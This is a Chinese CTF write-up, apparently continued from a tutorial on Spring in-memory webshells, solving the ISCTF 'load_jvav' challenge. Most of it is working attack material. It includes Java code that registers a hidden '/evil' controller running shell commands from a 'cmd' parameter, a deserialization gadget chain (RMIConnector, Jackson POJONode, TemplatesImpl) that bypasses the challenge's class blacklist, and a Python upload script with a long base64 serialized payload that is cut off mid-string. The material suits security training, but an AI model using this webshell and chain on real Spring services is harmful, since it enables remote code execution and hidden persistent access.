                        ConsumesRequestCondition.class,
                        ProducesRequestCondition.class,
                        RequestConditionHolder.class,
                        RequestMappingInfo.BuilderConfiguration.class
                );

        constructor.setAccessible(true);
        RequestMappingInfo info = constructor.newInstance(null,url,null,methods,params,headers,consumes,produces,custom,option);

这样我们就成功构造了一个使用 PathPatternsRequestCondition 解析器的 RequestMappingInfo

新版

其他的不变即可

package spring.example.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Scanner;
import org.springframework.web.util.pattern.PathPatternParser;

@RestController
public class InjectController {
    @RequestMapping("/inject")
    public String inject() throws Exception{
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        Method method = Evil.class.getMethod("cmd");



        RequestMethodsRequestCondition methods = new RequestMethodsRequestCondition(new RequestMethod[0]);
        ParamsRequestCondition params = new ParamsRequestCondition(new String[0]);
        HeadersRequestCondition headers = new HeadersRequestCondition(new String[0]);
        ConsumesRequestCondition consumes = new ConsumesRequestCondition(new String[0]);
        ProducesRequestCondition produces = new ProducesRequestCondition(new String[0]);
        RequestConditionHolder custom = new RequestConditionHolder(null);
        RequestMappingInfo.BuilderConfiguration option = new RequestMappingInfo.BuilderConfiguration();

        PathPatternParser parser = new PathPatternParser();
        PathPatternsRequestCondition url = new PathPatternsRequestCondition(parser, "/evil");


        Constructor<RequestMappingInfo> constructor =
                RequestMappingInfo.class.getDeclaredConstructor(
                        String.class,                          // name
                        PathPatternsRequestCondition.class,    // pathPatternsCondition
                        PatternsRequestCondition.class,        // patternsCondition
                        RequestMethodsRequestCondition.class,
                        ParamsRequestCondition.class,
                        HeadersRequestCondition.class,
                        ConsumesRequestCondition.class,
                        ProducesRequestCondition.class,
                        RequestConditionHolder.class,
                        RequestMappingInfo.BuilderConfiguration.class
                );

        constructor.setAccessible(true);
        RequestMappingInfo info = constructor.newInstance(null,url,null,methods,params,headers,consumes,produces,custom,option);

        Evil injectedController = new Evil();

        requestMappingHandlerMapping.registerMapping(info, injectedController, method);

        return "Inject ok";
    }

    @RestController
    public static class Evil {
        public Evil(){
        }
        public void cmd() throws Exception {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            String cmd = request.getParameter("cmd");

            if (request.getParameter("cmd") != null) {
                boolean flag = true;
                String osname = System.getProperty("os.name");
                if (osname != null && osname.toLowerCase().contains("win")) {
                    flag = false;
                }
                String[] cmds = flag ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                response.getWriter().close();
            }
        }
    }
}

最终成功注入了内存马


例题

ISCTF--load_jvav

漏洞分析

首先我们通过刷新文件的功能漏洞(可以指定目录)来查看上一级目录下的文件信息,发现有备份文件;再通过文件读取漏洞(可以指定读取文件,但过滤了 flag),我们可以读取到源码

查看源码,很容易注意到一个类

package com.example.utile;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;


public class YouFindThis implements Serializable {
    public Class<?>aClass;
    public Class argclass;
    public Object input;
    public String methed;
    public Object args;



    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        POFP();

    }


    public void POFP() {


        if(Function.check_reef(this.aClass.getName())){
            throw new SecurityException("You are not allowed to leave this class");
        }
        if(Function.check_reef(this.input.getClass().getName())){
            throw new SecurityException("You are not allowed to leave this class");
        }
        if(Function.check_reef(this.methed)){
            throw new SecurityException("You are not allowed to leave this class");
        }
        try {
            Method method = aClass.getMethod(methed,argclass);
            method.setAccessible(true);
            method.invoke(input,args);
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        } catch (InvocationTargetException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }

    }
}

该类反序列化可以调用一个对象的一参方法,我们再看看过滤了哪些链子

package com.example.utile;

import java.io.*;
import java.util.*;

public class safeSer extends ObjectInputStream {

    private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList(
            // Apache Commons Collections 相关类
            "org.apache.commons.collections.Transformer",
            "org.apache.commons.collections.functors.ChainedTransformer",
            "org.apache.commons.collections.functors.ConstantTransformer",
            "org.apache.commons.collections.functors.InvokerTransformer",
            "org.apache.commons.collections.functors.InstantiateTransformer",
            "org.apache.commons.collections.map.DefaultedMap",
            "org.apache.commons.collections.map.LazyMap",
            "org.apache.commons.collections.map.TransformedMap",

            // Commons Collections4
            "org.apache.commons.collections4.Transformer",
            "org.apache.commons.collections4.functors.ChainedTransformer",
            "org.apache.commons.collections4.functors.ConstantTransformer",
            "org.apache.commons.collections4.functors.InvokerTransformer",
            "org.apache.commons.collections4.functors.InstantiateTransformer",

            // 其他常见的危险类

            "javax.management.BadAttributeValueExpException",
            "java.rmi.server.UnicastRemoteObject",
            "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
            "com.sun.rowset.JdbcRowSetImpl",
            //解决一些非预期问题
            "springboot",
            "springframework",
            "com.fasterxml",
            "jackson",
            "org.yaml",
            "org.thymeleaf"


    ));

    public safeSer(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();

        // 检查类是否在黑名单中
        if (isMaliciousClass(className)) {
            throw new SecurityException("检测到潜在的反序列化攻击,类: " + className);
        }

        return super.resolveClass(desc);
    }

    private boolean isMaliciousClass(String className) {
        // 直接匹配黑名单
//        if (BLACKLIST.contains(className)) {
//            return true;
//        }
        for (String blacklist : BLACKLIST) {
            if (className.contains(blacklist)) {
                return true;
            }
        }
        // 检查包名前缀(更严格的检测)
        if (className.startsWith("org.apache.commons.collections.functors.") ||
                className.startsWith("org.apache.commons.collections4.functors.") ||
                className.startsWith("org.apache.commons.collections.") &&
                        className.contains("Transformer")) {
            return true;
        }

        return false;
    }
}

大部分链子都被过滤了,但是没有过滤 RMIConnector.connect ,而我们有 YouFindThis 类反序列化可以调用一个类的一参方法,所以我们可以打二次反序列化,springboot 依赖自带 jackson,所以我们二次反序列化可以直接打 jackson 原生链

远程题目不出网,所以我们需要打一个内存马,我们上面的内存马是给本地测试用的,真正要打反序列化得变一下

package org.example.neicunma;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.util.pattern.PathPatternParser;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Scanner;

public class InjectClass extends AbstractTranslet {
    public InjectClass(){
        try{
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

            Method method = Evil.class.getMethod("cmd");

            RequestMethodsRequestCondition methods = new RequestMethodsRequestCondition(new RequestMethod[0]);
            ParamsRequestCondition params = new ParamsRequestCondition(new String[0]);
            HeadersRequestCondition headers = new HeadersRequestCondition(new String[0]);
            ConsumesRequestCondition consumes = new ConsumesRequestCondition(new String[0]);
            ProducesRequestCondition produces = new ProducesRequestCondition(new String[0]);
            RequestConditionHolder custom = new RequestConditionHolder(null);
            RequestMappingInfo.BuilderConfiguration option = new RequestMappingInfo.BuilderConfiguration();

            PathPatternParser parser = new PathPatternParser();
            PathPatternsRequestCondition url = new PathPatternsRequestCondition(parser, "/evil");


            Constructor<RequestMappingInfo> constructor =
                    RequestMappingInfo.class.getDeclaredConstructor(
                            String.class,                          // name
                            PathPatternsRequestCondition.class,    // pathPatternsCondition
                            PatternsRequestCondition.class,        // patternsCondition
                            RequestMethodsRequestCondition.class,
                            ParamsRequestCondition.class,
                            HeadersRequestCondition.class,
                            ConsumesRequestCondition.class,
                            ProducesRequestCondition.class,
                            RequestConditionHolder.class,
                            RequestMappingInfo.BuilderConfiguration.class
                    );

            constructor.setAccessible(true);
            RequestMappingInfo info = constructor.newInstance(null,url,null,methods,params,headers,consumes,produces,custom,option);

            Evil injectedController = new Evil();

            requestMappingHandlerMapping.registerMapping(info, injectedController, method);
            System.out.println("inject ok");
        } catch (Exception e){
            System.out.println("\n\nthis is error\n\n");
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public static class Evil {
        public Evil(){
        }
        public void cmd() throws Exception {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            String cmd = request.getParameter("cmd");

            if (request.getParameter("cmd") != null) {
                boolean flag = true;
                String osname = System.getProperty("os.name");
                if (osname != null && osname.toLowerCase().contains("win")) {
                    flag = false;
                }
                String[] cmds = flag ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                response.getWriter().close();
            }
        }
    }
}

我们再根据 YouFindThis 类和 RMIConnector.connect 构造链子

package com.example;

import java.io.*;
import java.util.Map;

import com.example.utile.YouFindThis;
import com.example.func.*;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;

public class test {
    public static void main(String[] arg){
        try {
            
            File fl = new File("C:\\My\\java_project\\my-project\\target\\classes\\org\\example\\neicunma\\InjectClass.class");
            FileInputStream fis = new FileInputStream(fl);
            byte[] bt = new byte[(int)fl.length()];
            fis.read(bt);

            File fl2 = new File("C:\\My\\java_project\\my-project\\target\\classes\\org\\example\\neicunma\\InjectClass$Evil.class");
            FileInputStream fis2 = new FileInputStream(fl2);
            byte[] bt2 = new byte[(int)fl2.length()];
            fis2.read(bt2);

            TemplatesImpl tpi = new TemplatesImpl();
            ClassTools.setFieldValue(tpi,"_name","test");
            ClassTools.setFieldValue(tpi,"_bytecodes",new byte[][]{bt,bt2});
            ClassTools.setFieldValue(tpi,"_tfactory",new TransformerFactoryImpl());

            POJONode pj = new POJONode(tpi);
            BadAttributeValueExpException bb = new BadAttributeValueExpException(null);
            ClassTools.setFieldValue(bb,"val",pj);

            String base64 = SerTools.Base64Serialize(bb);


            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
            ClassTools.setFieldValue(jmxServiceURL,"urlPath","/stub/"+base64);
            RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);


            YouFindThis obj = new YouFindThis();
            obj.aClass = RMIConnector.class;
            obj.argclass = Map.class;
            obj.methed = "connect";
            obj.args = null;
            obj.input = rmiConnector;


            String ss = SerTools.Base64Serialize(obj);
            System.out.println(ss);

        } catch (Exception e){
            e.printStackTrace();
        }

    }
}

这里我们要注意,我们的 InjectClass 是依赖内部类 Evil.class 的,所以我们构造 TemplatesImpl 得传入两个类。

最终 exp

import requests as req


url = "http://localhost:8082/api/upload"
# url = "http://challenge.bluesharkinfo.com:27588/api/upload"
input_name = "file" # 文件上传字段
file_MIME = "image/png"


def upload(filename,content):

    files = [
        (input_name, (filename, content, file_MIME))
    ]

    res = req.post(url, files=files)

    print(res.text)

upload("2.ref","rO0ABXNyAB1jb20uZXhhbXBsZS51dGlsZS5Zb3VGaW5kVGhpcwjLUi3UjktrAgAFTAAGYUNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAhhcmdjbGFzc3EAfgABTAAEYXJnc3QAEkxqYXZhL2xhbmcvT2JqZWN0O0wABWlucHV0cQB+AAJMAAZtZXRoZWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHZyAChqYXZheC5tYW5hZ2VtZW50LnJlbW90ZS5ybWkuUk1JQ29ubmVjdG9yC1e2+IIk4ukDAAJMAA1qbXhTZXJ2aWNlVVJMdAAnTGphdmF4L21hbmFnZW1lbnQvcmVtb3RlL0pNWFNlcnZpY2VVUkw7TAAJcm1pU2VydmVydAAnTGphdmF4L21hbmFnZW1lbnQvcmVtb3RlL3JtaS9STUlTZXJ2ZXI7eHB2cgANamF2YS51dGlsLk1hcAAAAAAAAAAAAAAAeHBwc3EAfgAFc3IAJWphdmF4Lm1hbmFnZW1lbnQucmVtb3RlLkpNWFNlcnZpY2VVUkxxbZ+gXZJtHAIABEkABHBvcnRMAARob3N0cQB+AANMAAhwcm90b2NvbHEAfgADTAAHdXJsUGF0aHEAfgADeHAAAAAAdAAAdAADcm1pdDH2L3N0dWIvck8wQUJYTnlBQzVxWVhaaGVDNXRZVzVoWjJWdFpXNTBMa0poWkVGMGRISnBZblYwWlZaaGJIVmxSWGh3UlhoalpYQjBhVzl1MU9mYXEyTXRSa0FDQUFGTUFBTjJZV3gwQUJKTWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0NGNnQVRhbUYyWVM1c1lXNW5Ma1Y0WTJWd2RHbHZidEQ5SHo0YU94ekVBZ0FBZUhJQUUycGhkbUV1YkdGdVp5NVVhSEp2ZDJGaWJHWFZ4alVuT1hlNHl3TUFCRXdBQldOaGRYTmxkQUFWVEdwaGRtRXZiR0Z1Wnk5VWFISnZkMkZpYkdVN1RBQU5aR1YwWVdsc1RXVnpjMkZuWlhRQUVreHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk8xc0FDbk4wWVdOclZISmhZMlYwQUI1YlRHcGhkbUV2YkdGdVp5OVRkR0ZqYTFSeVlXTmxSV3hsYldWdWREdE1BQlJ6ZFhCd2NtVnpjMlZrUlhoalpYQjBhVzl1YzNRQUVFeHFZWFpoTDNWMGFXd3ZUR2x6ZER0NGNIRUFmZ0FJY0hWeUFCNWJUR3BoZG1FdWJHRnVaeTVUZEdGamExUnlZV05sUld4bGJXVnVkRHNDUmlvOFBQMGlPUUlBQUhod0FBQUFBWE55QUJ0cVlYWmhMbXhoYm1jdVUzUmhZMnRVY21GalpVVnNaVzFsYm5SaENjV2FKamJkaFFJQUJFa0FDbXhwYm1WT2RXMWlaWEpNQUE1a1pXTnNZWEpwYm1kRGJHRnpjM0VBZmdBRlRBQUlabWxzWlU1aGJXVnhBSDRBQlV3QUNtMWxkR2h2WkU1aGJXVnhBSDRBQlhod0FBQUFLWFFBRUdOdmJTNWxlR0Z0Y0d4bExuUmxjM1IwQUFsMFpYTjBMbXBoZG1GMEFBUnRZV2x1YzNJQUptcGhkbUV1ZFhScGJDNURiMnhzWldOMGFXOXVjeVJWYm0xdlpHbG1hV0ZpYkdWTWFYTjAvQThsTWJYc2poQUNBQUZNQUFSc2FYTjBjUUIrQUFkNGNnQXNhbUYyWVM1MWRHbHNMa052Ykd4bFkzUnBiMjV6SkZWdWJXOWthV1pwWVdKc1pVTnZiR3hsWTNScGIyNFpRZ0NBeTE3M0hnSUFBVXdBQVdOMEFCWk1hbUYyWVM5MWRHbHNMME52Ykd4bFkzUnBiMjQ3ZUhCemNnQVRhbUYyWVM1MWRHbHNMa0Z5Y21GNVRHbHpkSGlCMGgyWngyR2RBd0FCU1FBRWMybDZaWGh3QUFBQUFIY0VBQUFBQUhoeEFINEFGWGh6Y2dBc1kyOXRMbVpoYzNSbGNuaHRiQzVxWVdOcmMyOXVMbVJoZEdGaWFXNWtMbTV2WkdVdVVFOUtUMDV2WkdVQUFBQUFBQUFBQWdJQUFVd0FCbDkyWVd4MVpYRUFmZ0FCZUhJQUxXTnZiUzVtWVhOMFpYSjRiV3d1YW1GamEzTnZiaTVrWVhSaFltbHVaQzV1YjJSbExsWmhiSFZsVG05a1pRQUFBQUFBQUFBQkFnQUFlSElBTUdOdmJTNW1ZWE4wWlhKNGJXd3VhbUZqYTNOdmJpNWtZWFJoWW1sdVpDNXViMlJsTGtKaGMyVktjMjl1VG05a1pRQUFBQUFBQUFBQkFnQUFlSEJ6Y2dBNlkyOXRMbk4xYmk1dmNtY3VZWEJoWTJobExuaGhiR0Z1TG1sdWRHVnlibUZzTG5oemJIUmpMblJ5WVhndVZHVnRjR3hoZEdWelNXMXdiQWxYVDhGdXJLc3pBd0FHU1FBTlgybHVaR1Z1ZEU1MWJXSmxja2tBRGw5MGNtRnVjMnhsZEVsdVpHVjRXd0FLWDJKNWRHVmpiMlJsYzNRQUExdGJRbHNBQmw5amJHRnpjM1FBRWx0TWFtRjJZUzlzWVc1bkwwTnNZWE56TzB3QUJWOXVZVzFsY1FCK0FBVk1BQkZmYjNWMGNIVjBVSEp2Y0dWeWRHbGxjM1FBRmt4cVlYWmhMM1YwYVd3dlVISnZjR1Z5ZEdsbGN6dDRjQUFBQUFELy8vLy9kWElBQTF0YlFrdjlHUlZuWjlzM0FnQUFlSEFBQUFBQ2RYSUFBbHRDclBNWCtBWUlWT0FDQUFCNGNBQUFGcnpLL3JxK0FBQUFOQUM3Q2dBdkFHOEtBSEFBY1FnQWNnc0Fjd0IwQndCMUJ3QjJDd0FGQUhjSEFIZ0lBSGtIQUhvS0FBb0Fld2NBZkFjQWZRb0FEQUIrQndCL0J3Q0FDZ0FQQUlFSEFJSUtBQklBZ1FjQWd3b0FGQUNCQndDRUNnQVdBSUVIQUlVS0FCZ0FoZ2NBaHdvQUdnQnZCd0NJQ2dBY0FHOEhBSWtJQUlvS0FCNEFpd2NBakFjQWpRb0FDZ0NPQ2dDUEFKQUhBSkVLQUk4QWtnb0FDQUJ2Q2dBR0FKTUpBSlFBbFFnQWxnb0Fsd0NZQndDWkNBQ2FCd0NiQndDY0FRQUVSWFpwYkFFQURFbHVibVZ5UTJ4aGMzTmxjd0VBQmp4cGJtbDBQZ0VBQXlncFZnRUFCRU52WkdVQkFBOU1hVzVsVG5WdFltVnlWR0ZpYkdVQkFCSk1iMk5oYkZaaGNtbGhZbXhsVkdGaWJHVUJBQWRqYjI1MFpYaDBBUUEzVEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMMk52Ym5SbGVIUXZWMlZpUVhCd2JHbGpZWFJwYjI1RGIyNTBaWGgwT3dFQUhISmxjWFZsYzNSTllYQndhVzVuU0dGdVpHeGxjazFoY0hCcGJtY0JBRlJNYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12YldWMGFHOWtMMkZ1Ym05MFlYUnBiMjR2VW1WeGRXVnpkRTFoY0hCcGJtZElZVzVrYkdWeVRXRndjR2x1WnpzQkFBWnRaWFJvYjJRQkFCcE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZUV1YwYUc5a093RUFCMjFsZEdodlpITUJBRTVNYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12WTI5dVpHbDBhVzl1TDFKbGNYVmxjM1JOWlhSb2IyUnpVbVZ4ZFdWemRFTnZibVJwZEdsdmJqc0JBQVp3WVhKaGJYTUJBRVpNYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12WTI5dVpHbDBhVzl1TDFCaGNtRnRjMUpsY1hWbGMzUkRiMjVrYVhScGIyNDdBUUFIYUdWaFpHVnljd0VBUjB4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMjEyWXk5amIyNWthWFJwYjI0dlNHVmhaR1Z5YzFKbGNYVmxjM1JEYjI1a2FYUnBiMjQ3QVFBSVkyOXVjM1Z0WlhNQkFFaE1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5dGRtTXZZMjl1WkdsMGFXOXVMME52Ym5OMWJXVnpVbVZ4ZFdWemRFTnZibVJwZEdsdmJqc0JBQWh3Y205a2RXTmxjd0VBU0V4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMjEyWXk5amIyNWthWFJwYjI0dlVISnZaSFZqWlhOU1pYRjFaWE4wUTI5dVpHbDBhVzl1T3dFQUJtTjFjM1J2YlFFQVJreHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDIxMll5OWpiMjVrYVhScGIyNHZVbVZ4ZFdWemRFTnZibVJwZEdsdmJraHZiR1JsY2pzQkFBWnZjSFJwYjI0QkFCUkNkV2xzWkdWeVEyOXVabWxuZFhKaGRHbHZiZ0VBVkV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMjEyWXk5dFpYUm9iMlF2VW1WeGRXVnpkRTFoY0hCcGJtZEpibVp2SkVKMWFXeGtaWEpEYjI1bWFXZDFjbUYwYVc5dU93RUFCbkJoY25ObGNnRUFPRXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOTFkR2xzTDNCaGRIUmxjbTR2VUdGMGFGQmhkSFJsY201UVlYSnpaWEk3QVFBRGRYSnNBUUJNVEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZiWFpqTDJOdmJtUnBkR2x2Ymk5UVlYUm9VR0YwZEdWeWJuTlNaWEYxWlhOMFEyOXVaR2wwYVc5dU93RUFDMk52Ym5OMGNuVmpkRzl5QVFBZlRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwTnZibk4wY25WamRHOXlPd0VBQkdsdVptOEJBRDlNYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12YldWMGFHOWtMMUpsY1hWbGMzUk5ZWEJ3YVc1blNXNW1ienNCQUJKcGJtcGxZM1JsWkVOdmJuUnliMnhzWlhJQkFDZE1iM0puTDJWNFlXMXdiR1V2Ym1WcFkzVnViV0V2U1c1cVpXTjBRMnhoYzNNa1JYWnBiRHNCQUFGbEFRQVZUR3BoZG1FdmJHRnVaeTlGZUdObGNIUnBiMjQ3QVFBRWRHaHBjd0VBSWt4dmNtY3ZaWGhoYlhCc1pTOXVaV2xqZFc1dFlTOUpibXBsWTNSRGJHRnpjenNCQUJaTWIyTmhiRlpoY21saFlteGxWSGx3WlZSaFlteGxBUUJnVEdwaGRtRXZiR0Z1Wnk5eVpXWnNaV04wTDBOdmJuTjBjblZqZEc5eVBFeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDIxMll5OXRaWFJvYjJRdlVtVnhkV1Z6ZEUxaGNIQnBibWRKYm1adk96NDdBUUFOVTNSaFkydE5ZWEJVWVdKc1pRY0Ftd2NBbVFFQUNYUnlZVzV6Wm05eWJRRUFjaWhNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNoaGJHRnVMMmx1ZEdWeWJtRnNMM2h6YkhSakwwUlBUVHRiVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZjMlZ5YVdGc2FYcGxjaTlUWlhKcFlXeHBlbUYwYVc5dVNHRnVaR3hsY2pzcFZnRUFDR1J2WTNWdFpXNTBBUUF0VEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OUVUMDA3QVFBSWFHRnVaR3hsY25NQkFFSmJUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dmMyVnlhV0ZzYVhwbGNpOVRaWEpwWVd4cGVtRjBhVzl1U0dGdVpHeGxjanNCQUFwRmVHTmxjSFJwYjI1ekJ3Q2RBUUFRVFdWMGFHOWtVR0Z5WVcxbGRHVnljd0VBcGloTVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaGhiR0Z1TDJsdWRHVnlibUZzTDNoemJIUmpMMFJQVFR0TVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaHRiQzlwYm5SbGNtNWhiQzlrZEcwdlJGUk5RWGhwYzBsMFpYSmhkRzl5TzB4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHMXNMMmx1ZEdWeWJtRnNMM05sY21saGJHbDZaWEl2VTJWeWFXRnNhWHBoZEdsdmJraGhibVJzWlhJN0tWWUJBQWhwZEdWeVlYUnZjZ0VBTlV4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHMXNMMmx1ZEdWeWJtRnNMMlIwYlM5RVZFMUJlR2x6U1hSbGNtRjBiM0k3QVFBSGFHRnVaR3hsY2dFQVFVeGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlRzFzTDJsdWRHVnlibUZzTDNObGNtbGhiR2w2WlhJdlUyVnlhV0ZzYVhwaGRHbHZia2hoYm1Sc1pYSTdBUUFLVTI5MWNtTmxSbWxzWlFFQUVFbHVhbVZqZEVOc1lYTnpMbXBoZG1FTUFESUFNd2NBbmd3QW53Q2dBUUE1YjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1M1pXSXVjMlZ5ZG14bGRDNUVhWE53WVhSamFHVnlVMlZ5ZG14bGRDNURUMDVVUlZoVUJ3Q2hEQUNpQUtNQkFEVnZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDFkbFlrRndjR3hwWTJGMGFXOXVRMjl1ZEdWNGRBRUFVbTl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdmJYWmpMMjFsZEdodlpDOWhibTV2ZEdGMGFXOXVMMUpsY1hWbGMzUk5ZWEJ3YVc1blNHRnVaR3hsY2sxaGNIQnBibWNNQUtRQXBRRUFKVzl5Wnk5bGVHRnRjR3hsTDI1bGFXTjFibTFoTDBsdWFtVmpkRU5zWVhOekpFVjJhV3dCQUFOamJXUUJBQTlxWVhaaEwyeGhibWN2UTJ4aGMzTU1BS1lBcHdFQVRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2YlhaakwyTnZibVJwZEdsdmJpOVNaWEYxWlhOMFRXVjBhRzlrYzFKbGNYVmxjM1JEYjI1a2FYUnBiMjRCQURWdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTlpYVc1a0wyRnVibTkwWVhScGIyNHZVbVZ4ZFdWemRFMWxkR2h2WkF3QU1nQ29BUUJFYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12WTI5dVpHbDBhVzl1TDFCaGNtRnRjMUpsY1hWbGMzUkRiMjVrYVhScGIyNEJBQkJxWVhaaEwyeGhibWN2VTNSeWFXNW5EQUF5QUtrQkFFVnZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDIxMll5OWpiMjVrYVhScGIyNHZTR1ZoWkdWeWMxSmxjWFZsYzNSRGIyNWthWFJwYjI0QkFFWnZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDIxMll5OWpiMjVrYVhScGIyNHZRMjl1YzNWdFpYTlNaWEYxWlhOMFEyOXVaR2wwYVc5dUFRQkdiM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5dGRtTXZZMjl1WkdsMGFXOXVMMUJ5YjJSMVkyVnpVbVZ4ZFdWemRFTnZibVJwZEdsdmJnRUFSRzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdmJYWmpMMk52Ym1ScGRHbHZiaTlTWlhGM